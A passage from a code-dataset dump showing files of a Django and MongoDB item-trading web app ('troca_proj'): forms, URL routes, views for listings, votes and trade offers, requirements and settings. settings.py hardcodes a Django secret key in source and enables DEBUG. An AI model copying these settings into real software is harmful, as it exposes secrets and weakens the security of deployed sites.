Generated by Django 1.10.6 on 2017-03-15 06:04\nfrom __future__ import unicode_literals\n\nimport datetime\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('personas', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Periodo',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(editable=False, max_length=100, unique=True, verbose_name='Nombre')),\n ('fechaInicio', models.DateField(default=datetime.date.today, verbose_name='Fecha de inicio')),\n ('fechaFin', models.DateField(default=datetime.date.today, verbose_name='Fecha de fin')),\n ],\n ),\n migrations.CreateModel(\n name='Programa',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('nombre', models.CharField(max_length=50, unique=True, verbose_name='Nombre')),\n ('descripcion', models.TextField(verbose_name='Descripcion')),\n ('mentores', models.ManyToManyField(db_table='Mentores', to='personas.Persona')),\n ],\n ),\n migrations.AddField(\n model_name='periodo',\n name='idProgramaRef',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='programas.Programa', verbose_name='Programa'),\n ),\n ]\n" } ]
15
feliperyan/troca_proj
https://github.com/feliperyan/troca_proj
04ce11bb9b21b89df932b5c8f66e72de0e2205b5
d0407babe5a83280f2f7998b4306d595230dc66d
ac13b5b1ead58f6b55059b419600afb08147064b
refs/heads/master
2016-09-06T06:05:31.091093
2014-02-18T10:13:18
2014-02-18T10:13:18
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6469189524650574, "alphanum_fraction": 0.6504854559898376, "avg_line_length": 32.64666748046875, "blob_id": "fc4ba302a77f6e4d485aa6b396db4cb9ff12d2dc", "content_id": "1c857fcdee86a38319f587c66bd9e25ee3551426", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5047, "license_type": "no_license", "max_line_length": 120, "num_lines": 150, "path": "/troca_app/forms.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "from django import forms\nfrom django.forms import ModelMultipleChoiceField\nfrom troca_app.models import *\nfrom django.forms import ImageField\nfrom django.forms.fields import CharField, MultipleChoiceField\nfrom django.forms.widgets import CheckboxSelectMultiple\nfrom mongodbforms import DocumentForm\nfrom mongodbforms import EmbeddedDocumentForm\nfrom mongodbforms import ListField\nfrom django.core.validators import EMPTY_VALUES\nfrom django.forms.util import ErrorList\nimport re\nfrom mongodbforms import DocumentMultipleChoiceField\nfrom PIL import Image\n\nfrom userena.forms import EditProfileForm\n\n# Custom Form Fields:\n\nclass PointFieldForm(CharField):\n def clean(self, value):\n clean_data = value.split(',')\n\n #import ipdb; ipdb.set_trace()\n\n if value in EMPTY_VALUES and self.required:\n raise forms.ValidationError(self.error_messages['required'])\n elif value in EMPTY_VALUES and not self.required:\n return None\n\n if len(clean_data) != 2:\n forms.ValidationError('Incorrect number of parameters. Expecting: lon, lat')\n\n \n lat = float(clean_data[0])\n lon = float(clean_data[1])\n clean_data = {'type': 'Point', 'coordinates': [lat, lon]}\n\n return clean_data\n\n\n# Forms for adding items:\n\n\nclass ModelFormGenericItem(DocumentForm):\n class Meta:\n document = GenericItem\n #fields = ('title', 'value', 'description', 'img', 'geo_location', 'w_cat')\n fields = ('title', 'value', 'description', 'img', 'geo_location',)\n\n cats = []\n c = list(Category.objects.all())\n for x in c:\n cats.append( ( x.id, x.categoryTitle ) )\n\n img = forms.ImageField(widget=forms.ClearableFileInput, label='Image')\n geo_location = PointFieldForm(required=False, widget=forms.HiddenInput)\n #w_cat = MultipleChoiceField(widget=CheckboxSelectMultiple, required=False, choices=cats)\n\n def clean_img(self):\n cleaned_data = super(ModelFormGenericItem,self).clean()\n image = cleaned_data.get(\"img\")\n \n if image:\n if image._size > 4*1024*1024:\n raise forms.ValidationError(\n \"Image Must be <4mb Less\")\n if not image.name[-3:].lower() in ['jpg','png']:\n raise forms.ValidationError(\n \"Your file extension was not recongized\")\n try: \n Image.open(image)\n except IOError:\n raise forms.ValidationError(\n \"Your file doesn't appear to be a real picture.\")\n \n return image\n\n\nclass VehicleForm(DocumentForm):\n class Meta:\n document = Vehicle\n fields = ('title', 'value', 'description', 'img', 'geo_location', 'model')\n\n\nclass TicketsForm(ModelFormGenericItem):\n class Meta:\n document = Ticket\n fields = ('title', 'date', 'location', 'value', 'description', 'img', 'geo_location')\n\n\nclass SkillForm(ModelFormGenericItem):\n class Meta:\n document = Skill\n fields = ('title', 'skill_name', 'skill_level', 'class_duration', 'value', 'description', 'img', 'geo_location')\n\n\n# Forms for making Offers:\n\n\nclass SelectMultipleItemsField(DocumentMultipleChoiceField):\n#class SelectMultipleItemsField(ModelMultipleChoiceField):\n # def prepare_value(self, value):\n # if hasattr(value, '_meta'):\n # if self.to_field_name:\n # return value.serializable_value(self.to_field_name)\n # else:\n # return value.pk\n \n # return super(SelectMultipleItemsField, self).prepare_value(value)\n\n def clean(self, value):\n #import ipdb; ipdb.set_trace();\n\n littleItems = list()\n \n for pk in value:\n wholeItem = GenericItem.objects.get(pk=pk)\n partialItem = ItemInOffer(itemTitle=wholeItem.title, value=wholeItem.value, item=wholeItem)\n littleItems.append(partialItem)\n\n return littleItems\n\n\nclass TestOfferForm(EmbeddedDocumentForm):\n\n class Meta:\n document = Offer\n embedded_field_name = 'offers' \n fields = ['title', 'items']\n\n items = SelectMultipleItemsField (queryset=GenericItem.objects.filter(owner_id=0), \\\n widget=forms.CheckboxSelectMultiple, required=True)\n\n def __init__(self, user_id=None, parent_document=None, data=None):\n #import ipdb; ipdb.set_trace();\n super(TestOfferForm, self).__init__(parent_document=parent_document, data=data)\n self.fields['items'].queryset = GenericItem.objects.filter(owner_id = user_id, available='available')\n\n\nclass TestImageForm(forms.Form):\n title = forms.CharField(max_length=100)\n img = forms.ImageField(widget=forms.ClearableFileInput)\n\n\nclass CustomEditProfile(EditProfileForm):\n class Meta(EditProfileForm.Meta):\n exclude = EditProfileForm.Meta.exclude +\\\n ['privacy','facebook_id','access_token','facebook_name','facebook_profile_url',\n 'blog_url','raw_data','facebook_open_graph','new_token_required','image',]\n" }, { "alpha_fraction": 0.6338115930557251, "alphanum_fraction": 0.6338115930557251, "avg_line_length": 42.83561706542969, "blob_id": "4fac6ef9342a59fde32ffa00e232bbf7fce6097a", "content_id": "cad85d529ab546db3b77589162d96c6ccce9db15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3206, "license_type": "no_license", "max_line_length": 116, "num_lines": 73, "path": "/troca_proj/urls.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "#from django.conf.urls.defaults import patterns, include, url\nfrom django.conf.urls import patterns, url, include\nfrom troca_app.views import *\nfrom troca_app.forms import CustomEditProfile\nfrom django.contrib.auth.views import login\nfrom django.contrib.auth.views import logout\n\nfrom django.contrib.auth.decorators import login_required\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^mongonaut/', include('mongonaut.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n \n url(r'^$', index),\n url(r'^search/$', search),\n url(r'^search/(?P<ordering>\\w+)/$', search, name='search_ordering'),\n\n url(r'^thanks/$', thanks),\n \n url(r'^accounts/login/$', login, {'template_name': 'login.html'} ),\n url(r'^accounts/signin/', 'userena.views.signin', {'template_name': 'Userena/signin_form.html'}, name=\"signin\"),\n url(r'^accounts/signup/', 'userena.views.signup', {'template_name': 'Userena/signup_form.html'}, name=\"signup\"),\n url(r'^accounts/(?P<username>(?!signout|signup|signin)[\\.\\w-]+)/$',\n profile_detail_extended, {'template_name': 'Userena/profile_detail.html'},\n name='userena_profile_detail'),\n url(r'^accounts/(?P<username>[\\.\\w-]+)/edit/$','userena.views.profile_edit',\n {'edit_profile_form': CustomEditProfile},name='userena_profile_edit'),\n \n \n (r'^accounts/', include('userena.urls')),\n url(r'^facebook/', include('django_facebook.urls')),\n #url( r'^accounts/login/$', login, {'template_name': 'login.html'} ),\n #url( r'^accounts/logout/$', logout, {'next_page': '/'} ),\n\n #url( r'^my_items/$', login_required(ItemsForLoggedUser.as_view()) ),\n url(r'^my_items/$', myProfile, name='myProfile' ),\n\n url(r'^items/(?P<item_id>\\w+)/$', detail, name='detail'),\n\n url(r'^add_item/(?P<category>\\w+)$', add_item, name='add_item'),\n url(r'^categories/$', categories, name='categories'),\n url(r'^getCategories/$', getAjaxCategories, name='getAjaxCategories'),\n\n url(r'^vote/(?P<item_id>\\w+)/(?P<vote>\\w+)$', voteAjax, name='vote'),\n\n #url(r'^items/(?P<item_id>\\w+)/make_offer/$', makeOffer, name='make_offer'),\n #url(r'^items/(?P<item_id>\\w+)/make_offer/$', makeOfferWithForm, name='make_offer'),\n url(r'^make_offer/(?P<item_id>\\w+)/$', testEmbeddedDocumentForm, name='make_offer'),\n\n url(r'^offers/(?P<item_id>\\w+)/$', offers_for_item, name='offers_for_item'),\n url(r'^offers/(?P<item_id>\\w+)/(?P<offer_title_slug>[-\\w]+)/$', specific_offer, name='specific_offer'),\n url(r'^offers/(?P<item_id>\\w+)/(?P<offer_title_slug>[-\\w]+)/(?P<response>[-\\w]+)/$', \n decision_offer, name='decision_offer'),\n \n #Don't add this line if you use django registration or userena for registration and auth.\n #url(r'^accounts/', include('django_facebook.auth_urls')), \n\n url(r'^testImage/', testImage, name='testImage'), \n\n)\n\nfrom troca_proj import settings\nif settings.DEBUG:\n # static files (images, css, javascript, etc.)\n urlpatterns += patterns('',\n (r'^media/(?P<path>.*)$', 'django.views.static.serve', {\n 'document_root': settings.MEDIA_ROOT}))\n\n\n " }, { "alpha_fraction": 0.5884383916854858, "alphanum_fraction": 0.5926589369773865, "avg_line_length": 30.213573455810547, "blob_id": "0e8506bb6b354ed548f90ab6c724fd4891d47358", "content_id": "26afc84320bf0865d6367ba0885f8588db99adbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15638, "license_type": "no_license", "max_line_length": 123, "num_lines": 501, "path": "/troca_app/views.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "# Create your views here.\n\nfrom django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.http import HttpResponse\nfrom models import *\nfrom forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import ensure_csrf_cookie, csrf_protect, csrf_exempt\nfrom django.http import Http404\nfrom django.views.generic import ListView\nfrom django.utils import simplejson\nfrom django.shortcuts import get_object_or_404\nfrom django.template.defaultfilters import slugify\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom bson.objectid import ObjectId\n\nfrom userena.views import *\n\nimport logging\nlogger = logging.getLogger('troca')\n\n\ndef categories(request):\n return render(request, 'select_categories.html', )\n\n@login_required\ndef voteAjax(request, item_id, vote):\n wantedItem = GenericItem.objects.get(pk=item_id)\n point = 0\n \n if vote != 'up' and vote != 'down':\n raise Http404\n else:\n if vote == 'down':\n point = -1\n else:\n point = 1\n\n logger.info('VOTE: %s' % vote)\n\n if request.is_ajax():\n if wantedItem.hasAlreadyVoted(request.user.id):\n logger.info('VOTE: not_ok')\n m = {'answer': 'not_ok'}\n else:\n logger.info('VOTE: ok')\n v = Vote(author_id=request.user.id, direction=point)\n wantedItem.votes.append(v)\n wantedItem.v_count += point\n wantedItem.save()\n m = {'answer': 'ok', 'total':wantedItem.countVotes()}\n \n m = simplejson.dumps(m)\n \n else:\n raise Http404\n\n return HttpResponse(m, mimetype='application/json')\n\n\ndef getAjaxCategories(request):\n\n if request.GET['category']:\n parent = request.GET['category']\n #import pdb; pdb.set_trace()\n \n if request.is_ajax():\n if parent:\n p = get_object_or_404( Category, categoryTitle = parent )\n \n #Breaking the string into tokens for the javascript to handle:\n crumbs = p.howToOrder().split('>')\n\n #Only interested in the categoryTitle attribute of the Category object\n items = list(Category.objects.filter( parentCategory = p ).values_list('categoryTitle')) \n \n m = {'items': items, 'crumbs': crumbs}\n message = simplejson.dumps(m)\n\n else:\n #reached the end of the categories.\n message = 'no more cats'\n else:\n #this should be a response for non ajax requests...\n message = 'god damn'\n\n #import time\n #time.sleep(3)\n return HttpResponse(message, mimetype='application/json')\n\n\ndef index(request):\n \n #categories = Category.objects.all()\n item_list = GenericItem.objects.order_by('-date_added')\n paginator = Paginator(item_list, 6)\n\n page = request.GET.get('page')\n try:\n items = paginator.page(page)\n except PageNotAnInteger:\n items = paginator.page(1)\n except EmptyPage:\n items = paginator.page(paginator.num_pages)\n\n return render(request, 'index.html', {'items': items})\n\n\ndef search(request, ordering=None):\n title = None\n geo = None\n category = None\n lat = None\n lon = None\n \n context = {}\n\n #Dealing with pagination for queries\n #http://djangosnippets.org/snippets/1592/\n\n q_no_page = request.GET.copy()\n if q_no_page.has_key('page'):\n del q_no_page['page']\n\n queries = q_no_page\n\n #Give us a result even if there is no search info:\n item_list = GenericItem.objects.order_by('-date_added')\n\n if 'title' in request.GET and request.GET['title']:\n title = request.GET['title']\n if title == '':\n title = None\n\n if 'geo' in request.GET and request.GET['geo'] and\\\n 'lat' in request.GET and request.GET['lat'] and\\\n 'lon' in request.GET and request.GET['lon']:\n geo = request.GET['geo']\n lat = request.GET['lat']\n lon = request.GET['lon']\n \n if geo.isdigit and lat.isdigit and lon.isdigit:\n geo = int(geo)\n lat = float(lat)\n lon = float(lon)\n if geo == 0:\n geo = None\n\n if 'cat' in request.GET and request.GET['cat']:\n category = request.GET['cat']\n if category == 'abc':\n category = None\n\n logger.info(title)\n logger.info(category)\n logger.info(geo)\n logger.info(lon)\n logger.info(lat)\n \n if title is not None:\n logger.info('searching for title:'+title)\n item_list = GenericItem.objects(title__icontains=title).order_by('date_added')\n \n if category is not None:\n logger.info('searching for category:'+category)\n item_list = item_list.filter(cat__icontains=category)\n \n if geo is not None:\n item_list = item_list.filter(geo_location__near=[lon,lat], geo_location__max_distance=geo)\n\n if ordering == 'votes':\n item_list = item_list.order_by('-v_count') \n\n paginator = Paginator(item_list, 6)\n page = request.GET.get('page')\n try:\n items = paginator.page(page)\n except PageNotAnInteger:\n items = paginator.page(1)\n except EmptyPage:\n items = paginator.page(paginator.num_pages)\n \n terms = {'title':title, 'geo':geo, 'category':category, 'lat':lat, 'lon':lon}\n \n return render(request, 'index.html', {'items': items, 'queries': queries, 'terms':terms})\n\n #eos = GenericItem.objects(Q(geo_location__near=[37.769,40.123], \\\n #geo_location__max_distance=100) & Q(title__icontains='4'))\n\n\ndef detail(request, item_id):\n try:\n item = GenericItem.objects.get(pk=item_id)\n owner = User.objects.get(pk=item.owner_id)\n except GenericItem.DoesNotExist:\n raise Http404\n return render(request, 'item_detail.html', {'item': item, 'owner': owner})\n\n\ndef thanks(request):\n return render(request, 'thanks.html', {})\n\n@login_required\ndef add_item(request, category):\n \n logger.info(category)\n \n if request.method == 'POST': \n \n if category == 'Tickets_and_reservations':\n logger.info('got tickets form') \n form = TicketsForm(request.POST, request.FILES) \n \n elif category == 'Skills': \n form = SkillForm(request.POST, request.FILES) \n \n else: \n form = ModelFormGenericItem(request.POST, request.FILES)\n\n if form.is_valid():\n\n instance = form.save(commit = False)\n instance.owner_id = request.user.id\n instance.owner_username = request.user.username\n instance.cat = instance._class_name.split('.')[-1]\n \n instance.save()\n \n return HttpResponseRedirect('/thanks/')\n\n else:\n # Ensure that this is a \"final\" category:\n p = get_object_or_404( Category, categoryTitle = category ) \n i = Category.objects.filter( parentCategory = p )\n if i.count() != 0:\n raise Http404\n\n if category == 'Tickets_and_reservations':\n form = TicketsForm()\n \n elif category == 'Skills':\n logger.info('display Skills form')\n form = SkillForm()\n \n else: \n logger.info('display Generic form')\n form = ModelFormGenericItem()\n\n return render(request, 'item.html', {\n 'form': form,\n 'category': category,\n } )\n\n# EmbeddedForm MakeOffer has replaced this - Will it be good enought to stay?!\n\n@login_required\ndef makeOffer(request, item_id):\n \n wantedItem = GenericItem.objects.get(pk=item_id)\n\n myItems = GenericItem.objects.filter(owner_id = request.user.id)\n\n if request.method == 'POST':\n selected_items = request.POST.getlist('items_selected')\n\n #import pdb; pdb.set_trace()\n\n offer_title = request.POST.get('offer_title')\n\n if len(selected_items) < 1:\n return render(request, 'make_offer.html', {\n 'wantedItem': wantedItem,'myItems': myItems, 'error':'Must select an item.'\n })\n\n else:\n items_in_offer = list()\n for i in selected_items:\n #wholeItem = get_object_or_404( GenericItem, pk = i )\n wholeItem = GenericItem.objects.get(pk=i)\n partialitem = ItemInOffer(itemTitle=wholeItem.title, value=wholeItem.value, item=wholeItem)\n items_in_offer.append(partialitem)\n\n offer = Offer(title=offer_title, author_id=request.user.id, author=request.user.username, items=items_in_offer)\n\n #import pdb; pdb.set_trace()\n\n wantedItem.offers.append(offer)\n wantedItem.save()\n\n return HttpResponseRedirect('/thanks/')\n\n else:\n \n return render(request, 'make_offer.html', {\n 'wantedItem': wantedItem,\n 'myItems': myItems,\n 'hasMadeOffer': wantedItem.hasAlreadyMadeOffer(request.user.id)\n })\n\n@login_required\ndef myProfile(request):\n myItems = GenericItem.objects.filter(owner_id = request.user.id)\n\n\n # Example of a RAW MongoDB query:\n #itemsWithMyOffers = GenericItem.the_objects.raw_query({ 'offers.author_id': request.user.id })\n itemsWithMyOffers = GenericItem.objects(__raw__={ 'offers.author_id': request.user.id })\n\n return render(request, 'myItems.html', {\n 'myItems': myItems,'myOffers': itemsWithMyOffers\n })\n\n@login_required\ndef decision_offer(request, item_id, offer_title_slug, response):\n owner = request.user.id\n wantedItem = GenericItem.objects.get(pk=item_id)\n ofr = None\n\n #import ipdb; ipdb.set_trace()\n\n #Only item owner can accept offers of course:\n if owner != wantedItem.owner_id or wantedItem is None:\n return render(request, 'info.html', {'info': 'You don\\'t own that item and can not accept offers for it!' })\n\n ofr = wantedItem.get_offer_by_slug(offer_title_slug)\n if not ofr:\n return render(request, 'info.html', {'info': 'Offer Not found!' })\n\n if response == 'reject' and ofr.status == 'pending':\n ofr.status = 'rejected'\n wantedItem.save()\n return render(request, 'info.html', {'info': 'offer Rejected!' })\n elif ofr.status != 'pending':\n return render(request, 'info.html', {'info': 'This offer has already been dealt with.' })\n\n else:\n # First make this item temporarily unavailable.\n # Going down to pymongo level in order to use findAndModify\n locked = acquire_pending_lock(wantedItem)\n if not locked:\n info = 'Could not accept any offers for this item right now!'\n return render(request, 'info.html', {'info': info} )\n\n # Second check that items in the offer being accepted are available \n locked = []\n failed_to_lock = None\n for i in ofr.items:\n got_lock = acquire_pending_lock(i.item)\n if got_lock:\n locked.append(i.item)\n else:\n failed_to_lock = i.item\n\n if failed_to_lock:\n info = 'One of the items offered is not available!'\n for i in locked:\n i.available = 'available'\n i.save()\n return render(request, 'info.html', {'info': info} )\n\n for o in wantedItem.offers:\n o.status = 'rejected'\n\n ofr.status = 'accepted'\n wantedItem.available = 'traded'\n wantedItem.save()\n \n return render(request, 'info.html', {'info': 'Accepted!'} )\n\n# Using PyMongo \ndef acquire_pending_lock(generic_item):\n raw = GenericItem._get_collection()\n result = raw.find_and_modify(\n query = { '_id': generic_item.id, 'available':'available' },\n update = { '$set':{'available': 'locked'} }\n )\n \n s = ''\n if result is None:\n s = '*** Could not acquire pending lock for: %s id:%s'\\\n %(generic_item.title, generic_item.id)\n else:\n s = '*** Acquired pending lock for: %s id:%s' %(generic_item.title, generic_item.id)\n\n logger.info(s)\n\n return result\n\n@login_required\ndef testEmbeddedDocumentForm(request, item_id):\n wantedItem = GenericItem.objects.get(pk=item_id)\n\n if wantedItem.available != 'available':\n return render(request, 'info.html', {'info': 'Item not available!' })\n\n myItems = GenericItem.objects.filter(owner_id=request.user.id)\n if myItems:\n for i in myItems:\n for o in i.offers:\n for x in o.items:\n if x.item == wantedItem:\n s = 'This item is part of an offer made to one of your items,'+\\\n ' please respond to that offer first!'\n return render(request, 'info.html', {'info': s })\n\n if request.POST: \n \n form = TestOfferForm( data=request.POST, parent_document=wantedItem)\n \n if form.is_valid(): \n ofr = form.save(commit=False)\n ofr.author = request.user.username\n ofr.author_id = request.user.id\n ofr.slug = slugify(ofr.title)\n form.save()\n return HttpResponseRedirect('/thanks/')\n else:\n return render(request, 'testEmbeddedDocumentForm.html', {\n 'form': form,\n 'wantedItem': wantedItem\n })\n\n\n else:\n form = TestOfferForm( user_id=request.user.id, parent_document=wantedItem)\n #form = TestOfferForm(parent_document=wantedItem)\n \n return render(request, 'testEmbeddedDocumentForm.html', {\n 'form': form,\n 'wantedItem': wantedItem\n })\n\n\ndef offers_for_item(request, item_id):\n wantedItem = GenericItem.objects.get(pk=item_id)\n\n return render(request, 'all_offers_for_item.html', {\n 'item': wantedItem\n })\n\n\ndef specific_offer(request, item_id, offer_title_slug):\n wantedItem = GenericItem.objects.get(pk=item_id)\n \n ofr = None\n\n if not wantedItem:\n raise Http404\n else:\n for o in wantedItem.offers:\n if offer_title_slug == o.slug:\n ofr = o\n\n if not ofr:\n raise Http404 \n\n return render(request, 'specific_offer_for_item.html', {\n 'offer': ofr,\n 'item': wantedItem\n }) \n\n\ndef testImage(request):\n \n if request.POST:\n #import ipdb; ipdb.set_trace()\n form = TestImageForm(request.POST, request.FILES) \n \n if form.is_valid():\n instance = ImageTest()\n instance.title = form.cleaned_data['title']\n instance.foto = request.FILES['img']\n instance.save()\n\n return HttpResponseRedirect('/thanks/')\n\n else:\n form = TestImageForm()\n return render(request, 'testImage.html', { 'form': form })\n\n\ndef profile_detail_extended(request, username, template_name):\n #logger.info('new profile')\n extra_context = dict()\n #extra_context['extra'] = 'boom!'\n \n u = get_object_or_404(User, username = username)\n \n extra_context['active_items'] = GenericItem.objects.filter(\\\n available = 'available',owner_id = u.id).count()\n \n extra_context['traded_out'] = GenericItem.objects.filter(\\\n available = 'traded',owner_id = u.id).count()\n \n extra_context['traded_in'] = GenericItem.objects(__raw__={ \\\n 'offers.author_id': u.id, 'offers.status': 'accepted' }).count()\n \n return profile_detail(request, username,\\\n template_name=template_name, extra_context=extra_context)\n" }, { "alpha_fraction": 0.5386416912078857, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 17.565217971801758, "blob_id": "90ad4f112e667740f6ee49dc1a1249f263eb4b5d", "content_id": "5fa2ed14607d1d975f6f5a60b87740ebe5b2498c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 427, "license_type": "no_license", "max_line_length": 29, "num_lines": 23, "path": "/requirements.txt", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "Django==1.6\nPillow==2.2.1\nUnidecode==0.04.14\nboto==2.19.0\ndj-database-url==0.2.2\ndjango-facebook==5.3.1\ndjango-guardian==1.1.1\ndjango-mongonaut==0.2.19\ndjango-s3-folder-storage==0.2\ndjango-storages==1.1.8\ndjango-userena==1.2.4\neasy-thumbnails==1.4\ngunicorn==18.0\nhtml2text==3.200.3\nipython==1.1.0\nmongodbforms==0.3\nmongoengine==0.8.6\npsycopg2==2.5.1\npymongo==2.6.3\nreadline==6.2.4.1\nsimplejson==3.3.1\nsix==1.4.1\nwsgiref==0.1.2\n" }, { "alpha_fraction": 0.8357142806053162, "alphanum_fraction": 0.8357142806053162, "avg_line_length": 34, "blob_id": "59e9d97536f28b48ad221654d62e9caf1f28a411", "content_id": "7d96484ef42bce7c350eac37636e3bcaabafc4a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 280, "license_type": "no_license", "max_line_length": 55, "num_lines": 8, "path": "/troca_app/admin.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.contrib.auth.models import User, Group\nfrom django.contrib.sites.models import Site\nfrom troca_app.models import Category, TrocaUserProfile\nfrom userena.models import *\n\nadmin.site.register(UserenaSignup)\nadmin.site.register(Category)\n" }, { "alpha_fraction": 0.7006393671035767, "alphanum_fraction": 0.7044001221656799, "avg_line_length": 31.418699264526367, "blob_id": "68c56d7b2635aee4aaae398f2952258b54382560", "content_id": "9c41684ef2034ffd4913bca1fde91d1306a9763a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7977, "license_type": "no_license", "max_line_length": 138, "num_lines": 246, "path": "/troca_proj/settings.py", "repo_name": "feliperyan/troca_proj", "src_encoding": "UTF-8", "text": "# Django settings for troca_proj project.\nimport os\nimport mongoengine\nimport re\nimport gunicorn\n\nSITE_ROOT = os.path.dirname(os.path.realpath(__file__))\nMEDIA_PATH = os.path.join(SITE_ROOT, '../media')\nTEMPLATES_PATH = os.path.join(SITE_ROOT, 'templates')\n\nMEDIA_ROOT = MEDIA_PATH \nMEDIA_URL = '/media/'\nSTATIC_ROOT = os.path.join(SITE_ROOT, '../staticfiles')\nSTATIC_URL = '/static/'\n\n# Additional locations of static files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# If we detect that the AWS environment var is set, we must be running on Heroku\n# therefore start aquiring vars from the env. Otherwise, import the local_settings.py\n# module.\n\nif os.environ.has_key('AWS_ACCESS_KEY_ID'):\n AWS_ACCESS_KEY_ID = os.environ['AWS_ACCESS_KEY_ID']\n AWS_SECRET_ACCESS_KEY = os.environ['AWS_SECRET_ACCESS_KEY']\n AWS_STORAGE_BUCKET_NAME = 'trocaeuitems'\n\n DEFAULT_FILE_STORAGE = 's3_folder_storage.s3.DefaultStorage'\n STATICFILES_STORAGE = 's3_folder_storage.s3.StaticStorage'\n \n DEFAULT_S3_PATH = \"media\"\n STATIC_S3_PATH = \"static\"\n\n MEDIA_ROOT = '/media/'\n MEDIA_URL = 'https://s3.amazonaws.com/trocaeuitems/media/' \n STATIC_ROOT = 'static'\n STATIC_URL = 'https://s3.amazonaws.com/trocaeuitems/static/' \n ADMIN_MEDIA_PREFIX = STATIC_URL + 'admin/'\n\n FACEBOOK_API_KEY = os.environ['FACEBOOK_API_KEY']\n FACEBOOK_APP_ID = os.environ['FACEBOOK_API_KEY']\n FACEBOOK_APP_SECRET = os.environ['FACEBOOK_APP_SECRET']\n\n EMAIL_HOST_PASSWORD = os.environ['EMAIL_HOST_PASSWORD']\n\nelse:\n from local_settings import *\n\n\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_USER = '[email protected]'\nEMAIL_PORT = '587'\nEMAIL_SUBJECT_PREFIX = 'Troca.eu' # The default is [Django] so you may want to replace it.\nEMAIL_USE_TLS = True\n\nLOGIN_REDIRECT_URL = '/accounts/%(username)s/'\nLOGIN_URL = '/accounts/signin/'\nLOGOUT_URL = '/accounts/signout/'\n\nFACEBOOK_REGISTRATION_BACKEND = 'django_facebook.registration_backends.UserenaBackend'\nAUTH_PROFILE_MODULE = 'troca_app.TrocaUserProfile'\nANONYMOUS_USER_ID = -1\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', '[email protected]'),\n)\n\n# FELIPE: Dont use gravatar as I dont wanna send peoples email addresses\n# unencrypted.\nUSERENA_MUGSHOT_GRAVATAR = False\n\nMANAGERS = ADMINS\n\nDBNAME = 'mongo_db'\n\n# FELIPE: Handling either local MongoDB for dev or Heroku's MongoLab MongoDB.\nregex = re.compile(r'^mongodb\\:\\/\\/(?P<username>[_\\w]+):(?P<password>[\\w]+)@(?P<host>[\\.\\w]+):(?P<port>\\d+)/(?P<database>[_\\w]+)$')\n\nif not os.environ.has_key('MONGOLAB_URI'):\n mongoengine.connect(DBNAME)\nelse:\n mongolab_url = os.environ['MONGOLAB_URI']\n match = regex.search(mongolab_url)\n data = match.groupdict()\n mongoengine.connect(data['database'], host=data['host'], port=int(data['port']), username=data['username'], password=data['password'])\n\n# FELIPE: Heroku specific Database settings.\nimport dj_database_url\nif not os.environ.has_key('DATABASE_URL'):\n os.environ['DATABASE_URL'] = 'postgres://localhost/troca_nonrel'\n \nDATABASES = {'default': dj_database_url.config(default=os.environ.get('DATABASE_URL'))}\n\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# In a Windows environment this must be set to your system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale.\nUSE_L10N = True\n\n# If you set this to False, Django will not use timezone-aware datetimes.\nUSE_TZ = True\n\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'njbw-3ksmuhus4s9o=ezevc+mfle9vr&amp;e23x1yp9o-*-tizr$^'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 